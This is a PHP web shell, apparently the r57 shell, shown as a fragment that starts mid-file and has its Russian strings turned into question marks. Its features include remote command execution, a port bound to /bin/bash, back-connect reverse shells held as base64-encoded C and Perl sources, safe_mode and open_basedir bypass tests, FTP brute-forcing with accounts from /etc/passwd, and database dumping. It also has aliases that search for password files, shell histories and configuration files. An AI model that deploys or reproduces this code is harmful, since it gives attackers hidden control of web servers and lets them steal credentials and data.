Directive
Local Value
Master Value
'.ws(3).''.$key.'
'.U_value($value['local_value']).'
'.U_value($value['global_value']).'
'; - } -echo "
[ BACK ]
"; -die(); -} -if(isset($_GET['cpu'])) - { - echo $head; - echo '
CPU
'; - $cpuf = @file("cpuinfo"); - if($cpuf) - { - $c = @sizeof($cpuf); - for($i=0;$i<$c;$i++) - { - $info = @explode(":",$cpuf[$i]); - if($info[1]==""){ $info[1]="---"; } - $r .= ''; - } - echo $r; - } - else - { - echo ''; - } - echo '
'.ws(3).''.trim($info[0]).'
'.trim($info[1]).'
'.ws(3).'
---
'; - echo "
[ BACK ]
"; - die(); - } -if(isset($_GET['mem'])) - { - echo $head; - echo '
MEMORY
'; - $memf = @file("meminfo"); - if($memf) - { - $c = sizeof($memf); - for($i=0;$i<$c;$i++) - { - $info = explode(":",$memf[$i]); - if($info[1]==""){ $info[1]="---"; } - $r .= ''; - } - echo $r; - } - else - { - echo ''; - } - echo '
'.ws(3).''.trim($info[0]).'
'.trim($info[1]).'
'.ws(3).'
---
'; - echo "
[ BACK ]
"; - die(); - } -$lang=array( -'ru_text1' =>'??????????? ???????', -'ru_text2' =>'?????????? ?????? ?? ???????', -'ru_text3' =>'????????? ???????', -'ru_text4' =>'??????? ??????????', -'ru_text5' =>'???????? ?????? ?? ??????', -'ru_text6' =>'????????? ????', -'ru_text7' =>'??????', -'ru_text8' =>'???????? ?????', -'ru_butt1' =>'?????????', -'ru_butt2' =>'?????????', -'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', -'ru_text10'=>'??????? ????', -'ru_text11'=>'?????? ??? ???????', -'ru_butt3' =>'???????', -'ru_text12'=>'back-connect', -'ru_text13'=>'IP-?????', -'ru_text14'=>'????', -'ru_butt4' =>'?????????', -'ru_text15'=>'???????? ?????? ? ?????????? ???????', -'ru_text16'=>'????????????', -'ru_text17'=>'????????? ????', -'ru_text18'=>'????????? ????', -'ru_text19'=>'Exploits', -'ru_text20'=>'????????????', -'ru_text21'=>'????? ???', -'ru_text22'=>'datapipe', -'ru_text23'=>'????????? ????', -'ru_text24'=>'????????? ????', -'ru_text25'=>'????????? ????', -'ru_text26'=>'????????????', -'ru_butt5' =>'?????????', -'ru_text28'=>'?????? ? safe_mode', -'ru_text29'=>'?????? ????????', -'ru_butt6' =>'???????', -'ru_text30'=>'???????? ?????', -'ru_butt7' =>'???????', -'ru_text31'=>'???? ?? ??????', -'ru_text32'=>'?????????? PHP ????', -'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', -'ru_butt8' =>'?????????', -'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', -'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', -'ru_text36'=>'????', -'ru_text37'=>'?????', -'ru_text38'=>'??????', -'ru_text39'=>'???????', -'ru_text40'=>'???? ??????? ???? ??????', -'ru_butt9' =>'????', -'ru_text41'=>'????????? ? ?????', -'ru_text42'=>'?????????????? ?????', -'ru_text43'=>'????????????? ????', -'ru_butt10'=>'?????????', -'ru_butt11'=>'?????????????', -'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', -'ru_text45'=>'???? ????????', -'ru_text46'=>'???????? phpinfo()', -'ru_text47'=>'???????? ???????? php.ini', -'ru_text48'=>'???????? ????????? ??????', -'ru_text49'=>'???????? ??????? ? ???????', -'ru_text50'=>'?????????? ? ??????????', -'ru_text51'=>'?????????? ? ??????', -'ru_text52'=>'????? ??? ??????', -'ru_text53'=>'?????? ? ?????', -'ru_text54'=>'????? ?????? ? ??????', -'ru_butt12'=>'?????', -'ru_text55'=>'?????? ? ??????', -'ru_text56'=>'?????? ?? ???????', -'ru_text57'=>'???????/??????? ????/??????????', -'ru_text58'=>'???', -'ru_text59'=>'????', -'ru_text60'=>'??????????', -'ru_butt13'=>'???????/???????', -'ru_text61'=>'???? ??????', -'ru_text62'=>'?????????? ???????', -'ru_text63'=>'???? ??????', -'ru_text64'=>'?????????? ???????', -'ru_text65'=>'???????', -'ru_text66'=>'???????', -'ru_text67'=>'Chown/Chgrp/Chmod', -'ru_text68'=>'???????', -'ru_text69'=>'????????1', -'ru_text70'=>'????????2', -'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", -'ru_text72'=>'????? ??? ??????', -'ru_text73'=>'?????? ? ?????', -'ru_text74'=>'?????? ? ??????', -'ru_text75'=>'* ????? ???????????? ?????????? ?????????', -'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', -'ru_text77'=>'???????? ????????? ???? ??????', -'ru_text78'=>'?????????? ???????', -'ru_text79'=>'?????????? ???????', -'ru_text80'=>'???', -'ru_text81'=>'????', -'ru_text82'=>'???? ??????', -'ru_text83'=>'?????????? SQL ???????', -'ru_text84'=>'SQL ??????', -'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', -'ru_text86'=>'?????????? ????? ? ???????', -'ru_butt14'=>'???????', -'ru_text87'=>'???????? ?????? ? ?????????? ftp-???????', -'ru_text88'=>'FTP-??????:????', -'ru_text89'=>'???? ?? ftp ???????', -'ru_text90'=>'????? ????????', -'ru_text91'=>'???????????? ?', -'ru_text92'=>'??? ?????????', -'ru_text93'=>'FTP', -'ru_text94'=>'FTP-????????', -'ru_text95'=>'?????? ?????????????', -'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', -'ru_text97'=>'????????? ??????????: ', -'ru_text98'=>'??????? ???????????: ', -'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', -'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', -'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', -'ru_text102'=>'?????', -'ru_text103'=>'???????? ??????', -'ru_text104'=>'???????? ????? ?? ???????? ????', -'ru_text105'=>'????', -'ru_text106'=>'??', -'ru_text107'=>'????', -'ru_butt15'=>'?????????', -'ru_text108'=>'????? ??????', -'ru_text109'=>'????????', -'ru_text110'=>'??????????', -/* --------------------------------------------------------------- */ -'eng_text1' =>'Executed command', -'eng_text2' =>'Execute command on server', -'eng_text3' =>'Run command', -'eng_text4' =>'Work directory', -'eng_text5' =>'Upload files on server', -'eng_text6' =>'Local file', -'eng_text7' =>'Aliases', -'eng_text8' =>'Select alias', -'eng_butt1' =>'Execute', -'eng_butt2' =>'Upload', -'eng_text9' =>'Bind port to /bin/bash', -'eng_text10'=>'Port', -'eng_text11'=>'Password for access', -'eng_butt3' =>'Bind', -'eng_text12'=>'back-connect', -'eng_text13'=>'IP', -'eng_text14'=>'Port', -'eng_butt4' =>'Connect', -'eng_text15'=>'Upload files from remote server', -'eng_text16'=>'With', -'eng_text17'=>'Remote file', -'eng_text18'=>'Local file', -'eng_text19'=>'Exploits', -'eng_text20'=>'Use', -'eng_text21'=>' New name', -'eng_text22'=>'datapipe', -'eng_text23'=>'Local port', -'eng_text24'=>'Remote host', -'eng_text25'=>'Remote port', -'eng_text26'=>'Use', -'eng_butt5' =>'Run', -'eng_text28'=>'Work in safe_mode', -'eng_text29'=>'ACCESS DENIED', -'eng_butt6' =>'Change', -'eng_text30'=>'Cat file', -'eng_butt7' =>'Show', -'eng_text31'=>'File not found', -'eng_text32'=>'Eval PHP code', -'eng_text33'=>'Test bypass open_basedir with cURL functions', -'eng_butt8' =>'Test', -'eng_text34'=>'Test bypass safe_mode with include function', -'eng_text35'=>'Test bypass safe_mode with load file in mysql', -'eng_text36'=>'Database', -'eng_text37'=>'Login', -'eng_text38'=>'Password', -'eng_text39'=>'Table', -'eng_text40'=>'Dump database table', -'eng_butt9' =>'Dump', -'eng_text41'=>'Save dump in file', -'eng_text42'=>'Edit files', -'eng_text43'=>'File for edit', -'eng_butt10'=>'Save', -'eng_text44'=>'Can\'t edit file! Only read access!', -'eng_text45'=>'File saved', -'eng_text46'=>'Show phpinfo()', -'eng_text47'=>'Show variables from php.ini', -'eng_text48'=>'Delete temp files', -'eng_butt11'=>'Edit file', -'eng_text49'=>'Delete script from server', -'eng_text50'=>'View cpu info', -'eng_text51'=>'View memory info', -'eng_text52'=>'Find text', -'eng_text53'=>'In dirs', -'eng_text54'=>'Find text in files', -'eng_butt12'=>'Find', -'eng_text55'=>'Only in files', -'eng_text56'=>'Nothing :(', -'eng_text57'=>'Create/Delete File/Dir', -'eng_text58'=>'name', -'eng_text59'=>'file', -'eng_text60'=>'dir', -'eng_butt13'=>'Create/Delete', -'eng_text61'=>'File created', -'eng_text62'=>'Dir created', -'eng_text63'=>'File deleted', -'eng_text64'=>'Dir deleted', -'eng_text65'=>'Create', -'eng_text66'=>'Delete', -'eng_text67'=>'Chown/Chgrp/Chmod', -'eng_text68'=>'Command', -'eng_text69'=>'param1', -'eng_text70'=>'param2', -'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", -'eng_text72'=>'Text for find', -'eng_text73'=>'Find in folder', -'eng_text74'=>'Find in files', -'eng_text75'=>'* you can use regexp', -'eng_text76'=>'Search text in files via find', -'eng_text77'=>'Show database structure', -'eng_text78'=>'show tables', -'eng_text79'=>'show columns', -'eng_text80'=>'Type', -'eng_text81'=>'Net', -'eng_text82'=>'Databases', -'eng_text83'=>'Run SQL query', -'eng_text84'=>'SQL query', -'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', -'eng_text86'=>'Download files from server', -'eng_butt14'=>'Download', -'eng_text87'=>'Download files from remote ftp-server', -'eng_text88'=>'FTP-server:port', -'eng_text89'=>'File on ftp', -'eng_text90'=>'Transfer mode', -'eng_text91'=>'Archivation', -'eng_text92'=>'without archivation', -'eng_text93'=>'FTP', -'eng_text94'=>'FTP-bruteforce', -'eng_text95'=>'Users list', -'eng_text96'=>'Can\'t get users list', -'eng_text97'=>'checked: ', -'eng_text98'=>'success: ', -'eng_text99'=>'* use username from /etc/passwd for ftp login and password', -'eng_text100'=>'Send file to remote ftp server', -'eng_text101'=>'Use reverse (user -> resu) login for password', -'eng_text102'=>'Mail', -'eng_text103'=>'Send email', -'eng_text104'=>'Send file to email', -'eng_text105'=>'To', -'eng_text106'=>'From', -'eng_text107'=>'Subj', -'eng_butt15'=>'Send', -'eng_text108'=>'Mail', -'eng_text109'=>'Hide', -'eng_text110'=>'Show', -); -/* -?????? ?????? -????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) -?? ?????? ???? ????????? ??? ???????? ???????. -*/ -$aliases=array( -'find suid files'=>'find / -type f -perm -04000 -ls', -'find suid files in current dir'=>'find . -type f -perm -04000 -ls', -'find sgid files'=>'find / -type f -perm -02000 -ls', -'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', -'find config.inc.php files'=>'find / -type f -name config.inc.php', -'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', -'find config* files'=>'find / -type f -name "config*"', -'find config* files in current dir'=>'find . -type f -name "config*"', -'find all writable files'=>'find / -type f -perm -2 -ls', -'find all writable files in current dir'=>'find . -type f -perm -2 -ls', -'find all writable directories'=>'find / -type d -perm -2 -ls', -'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', -'find all writable directories and files'=>'find / -perm -2 -ls', -'find all writable directories and files in current dir'=>'find . -perm -2 -ls', -'find all service.pwd files'=>'find / -type f -name service.pwd', -'find service.pwd files in current dir'=>'find . -type f -name service.pwd', -'find all .htpasswd files'=>'find / -type f -name .htpasswd', -'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', -'find all .bash_history files'=>'find / -type f -name .bash_history', -'find .bash_history files in current dir'=>'find . -type f -name .bash_history', -'find all .mysql_history files'=>'find / -type f -name .mysql_history', -'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', -'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', -'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', -'list file attributes on a Linux second extended file system'=>'lsattr -va', -'show opened ports'=>'netstat -an | grep -i listen', -'----------------------------------------------------------------------------------------------------'=>'ls -la' -); -$table_up1 = "
:: "; -$table_up2 = " ::
"; -$table_up3 = ""; -$arrow = " ?"; -$lb = "["; -$rb = "]"; -$font = ""; -$ts = "
"; -$table_end1 = "
"; -$te = "
"; -$fs = "
"; -$fe = "
"; - -if(isset($_GET['users'])) - { - if(!$users=get_users()) { echo "
".$lang[$language.'_text96']."
"; } - else - { - echo '
'; - foreach($users as $user) { echo $user."
"; } - echo '
'; - } - echo "
[ BACK ]
"; die(); - } - -if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } -$dir = @getcwd(); -$windows = 0; -$unix = 0; -if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; -if(empty($dir)) - { - $os = getenv('OS'); - if(empty($os)){ $os = php_uname(); } - if(empty($os)){ $os ="-"; $unix=1; } - else - { - if(@eregi("^win",$os)) { $windows = 1; } - else { $unix = 1; } - } - } -if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") - { - echo $head; - if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } - else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } - $sr->SearchText(0,0); - $res = $sr->GetResultFiles(); - $found = $sr->GetMatchesCount(); - $titles = $sr->GetTitles(); - $r = ""; - if($found > 0) - { - $r .= ""; - foreach($res as $file=>$v) - { - $r .= ""; - $r .= ""; - foreach($v as $a=>$b) - { - $r .= ""; - $r .= ""; - $r .= ""; - $r .= "\n"; - } - } - $r .= "
".ws(3); - $r .= ($windows)? str_replace("/","\\",$file) : $file; - $r .= ""; - $r .= "
".$a."".ws(2).$b."
"; - echo $r; - } - else - { - echo "

".$lang[$language.'_text56']."

"; - } - echo "
[ BACK ]
"; - die(); - } -if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } -$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); -if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } -function ws($i) -{ -return @str_repeat(" ",$i); -} -function ex($cfe) -{ - $res = ''; - if (!empty($cfe)) - { - if(function_exists('exec')) - { - @exec($cfe,$res); - $res = join("\n",$res); - } - elseif(function_exists('shell_exec')) - { - $res = @shell_exec($cfe); - } - elseif(function_exists('system')) - { - @ob_start(); - @system($cfe); - $res = @ob_get_contents(); - @ob_end_clean(); - } - elseif(function_exists('passthru')) - { - @ob_start(); - @passthru($cfe); - $res = @ob_get_contents(); - @ob_end_clean(); - } - elseif(@is_resource($f = @popen($cfe,"r"))) - { - $res = ""; - while(!@feof($f)) { $res .= @fread($f,1024); } - @pclose($f); - } - } - return $res; -} -function get_users() -{ - $users = array(); - $rows=file('/etc/passwd'); - if(!$rows) return 0; - foreach ($rows as $string) - { - $user = @explode(":",$string); - if(substr($string,0,1)!='#') array_push($users,$user[0]); - } - return $users; -} -function we($i) -{ -if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; } -else { $text = "[-] ERROR! Can't write in file "; } -echo "
".$text.$i."
"; -return null; -} -function re($i) -{ -if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; } -else { $text = "[-] ERROR! Can't read file "; } -echo "
".$text.$i."
"; -return null; -} -function ce($i) -{ -if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; } -else { $text = "Can't create "; } -echo "
".$text.$i."
"; -return null; -} -function fe($l,$n) -{ -$text['ru'] = array('?? ??????? ???????????? ? ftp ???????','?????? ??????????? ?? ftp ???????','?? ??????? ???????? ?????????? ?? ftp ???????'); -$text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server'); -echo "
".$text[$l][$n]."
"; -return null; -} -function mr($l,$n) -{ -$text['ru'] = array('?? ??????? ????????? ??????','?????? ??????????'); -$text['eng'] = array('Can\'t send mail','Mail sent'); -echo "
".$text[$l][$n]."
"; -return null; -} -function perms($mode) -{ -if ($GLOBALS['windows']) return 0; -if( $mode & 0x1000 ) { $type='p'; } -else if( $mode & 0x2000 ) { $type='c'; } -else if( $mode & 0x4000 ) { $type='d'; } -else if( $mode & 0x6000 ) { $type='b'; } -else if( $mode & 0x8000 ) { $type='-'; } -else if( $mode & 0xA000 ) { $type='l'; } -else if( $mode & 0xC000 ) { $type='s'; } -else $type='u'; -$owner["read"] = ($mode & 00400) ? 'r' : '-'; -$owner["write"] = ($mode & 00200) ? 'w' : '-'; -$owner["execute"] = ($mode & 00100) ? 'x' : '-'; -$group["read"] = ($mode & 00040) ? 'r' : '-'; -$group["write"] = ($mode & 00020) ? 'w' : '-'; -$group["execute"] = ($mode & 00010) ? 'x' : '-'; -$world["read"] = ($mode & 00004) ? 'r' : '-'; -$world["write"] = ($mode & 00002) ? 'w' : '-'; -$world["execute"] = ($mode & 00001) ? 'x' : '-'; -if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; -if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; -if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; -$s=sprintf("%1s", $type); -$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); -$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); -$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); -return trim($s); -} -function in($type,$name,$size,$value) -{ - $ret = ""; - return $ret; -} -function which($pr) -{ -$path = ex("which $pr"); -if(!empty($path)) { return $path; } else { return $pr; } -} -function cf($fname,$text) -{ - $w_file=@fopen($fname,"w") or we($fname); - if($w_file) - { - @fputs($w_file,@base64_decode($text)); - @fclose($w_file); - } -} -function sr($l,$t1,$t2) - { - return "".$t1."".$t2.""; - } -if (!@function_exists("view_size")) -{ -function view_size($size) -{ - if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} - elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} - elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} - else {$size = $size . " B";} - return $size; -} -} -function DirFiles($dir,$types='') - { - $files = Array(); - if(($handle = @opendir($dir))) - { - while (FALSE !== ($file = @readdir($handle))) - { - if ($file != "." && $file != "..") - { - if(!is_dir($dir."/".$file)) - { - if($types) - { - $pos = @strrpos($file,"."); - $ext = @substr($file,$pos,@strlen($file)-$pos); - if(@in_array($ext,@explode(';',$types))) - $files[] = $dir."/".$file; - } - else - $files[] = $dir."/".$file; - } - } - } - @closedir($handle); - } - return $files; - } - function DirFilesWide($dir) - { - $files = Array(); - $dirs = Array(); - if(($handle = @opendir($dir))) - { - while (false !== ($file = @readdir($handle))) - { - if ($file != "." && $file != "..") - { - if(@is_dir($dir."/".$file)) - { - $file = @strtoupper($file); - $dirs[$file] = '<DIR>'; - } - else - $files[$file] = @filesize($dir."/".$file); - } - } - @closedir($handle); - @ksort($dirs); - @ksort($files); - $files = @array_merge($dirs,$files); - } - return $files; - } - function DirFilesR($dir,$types='') - { - $files = Array(); - if(($handle = @opendir($dir))) - { - while (false !== ($file = @readdir($handle))) - { - if ($file != "." && $file != "..") - { - if(@is_dir($dir."/".$file)) - $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); - else - { - $pos = @strrpos($file,"."); - $ext = @substr($file,$pos,@strlen($file)-$pos); - if($types) - { - if(@in_array($ext,explode(';',$types))) - $files[] = $dir."/".$file; - } - else - $files[] = $dir."/".$file; - } - } - } - @closedir($handle); - } - return $files; - } - function DirPrintHTMLHeaders($dir) - { - $pockets = ''; - $handle = @opendir($dir) or die("Can't open directory $dir"); - echo "
    \n"; - while (false !== ($file = @readdir($handle))) - { - if ($file != "." && $file != "..") - { - if(@is_dir($dir."/".$file)) - { - echo "
  • [ $file ]
  • \n"; - DirPrintHTMLHeaders($dir."/".$file); - } - else - { - $pos = @strrpos($file,"."); - $ext = @substr($file,$pos,@strlen($file)-$pos); - if(@in_array($ext,array('.htm','.html'))) - { - $header = '-=None=-'; - $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); - for($a=0;$a".$header."\n"; - } - } - } - } - echo "
\n"; - @closedir($handle); - } - - class SearchResult - { - var $text; - var $FilesToSearch; - var $ResultFiles; - var $FilesTotal; - var $MatchesCount; - var $FileMatschesCount; - var $TimeStart; - var $TimeTotal; - var $titles; - function SearchResult($dir,$text,$filter='') - { - $dirs = @explode(";",$dir); - $this->FilesToSearch = Array(); - for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); - $this->text = $text; - $this->FilesTotal = @count($this->FilesToSearch); - $this->TimeStart = getmicrotime(); - $this->MatchesCount = 0; - $this->ResultFiles = Array(); - $this->FileMatchesCount = Array(); - $this->titles = Array(); - } - function GetFilesTotal() { return $this->FilesTotal; } - function GetTitles() { return $this->titles; } - function GetTimeTotal() { return $this->TimeTotal; } - function GetMatchesCount() { return $this->MatchesCount; } - function GetFileMatchesCount() { return $this->FileMatchesCount; } - function GetResultFiles() { return $this->ResultFiles; } - function SearchText($phrase=0,$case=0) { - $qq = @explode(' ',$this->text); - $delim = '|'; - if($phrase) - foreach($qq as $k=>$v) - $qq[$k] = '\b'.$v.'\b'; - $words = '('.@implode($delim,$qq).')'; - $pattern = "/".$words."/"; - if(!$case) - $pattern .= 'i'; - foreach($this->FilesToSearch as $k=>$filename) - { - $this->FileMatchesCount[$filename] = 0; - $FileStrings = @file($filename) or @next; - for($a=0;$a<@count($FileStrings);$a++) - { - $count = 0; - $CurString = $FileStrings[$a]; - $CurString = @Trim($CurString); - $CurString = @strip_tags($CurString); - $aa = ''; - if(($count = @preg_match_all($pattern,$CurString,$aa))) - { - $CurString = @preg_replace($pattern,"\\1",$CurString); - $this->ResultFiles[$filename][$a+1] = $CurString; - $this->MatchesCount += $count; - $this->FileMatchesCount[$filename] += $count; - } - } - } - $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); - } - } - function getmicrotime() - { - list($usec,$sec) = @explode(" ",@microtime()); - return ((float)$usec + (float)$sec); - } -$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS -A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I -GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt -b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 -pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF -NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK -ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog -ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk -7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 -9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld -2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu -dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp -lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; -$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS -VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs -JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV -TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG -lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK -Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i -Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N -lIENPTk47DQpleGl0IDA7DQp9DQp9"; -$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj -aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR -hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT -sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI -kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi -KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl -OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; -$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC -BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb -SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd -KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ -sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC -Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D 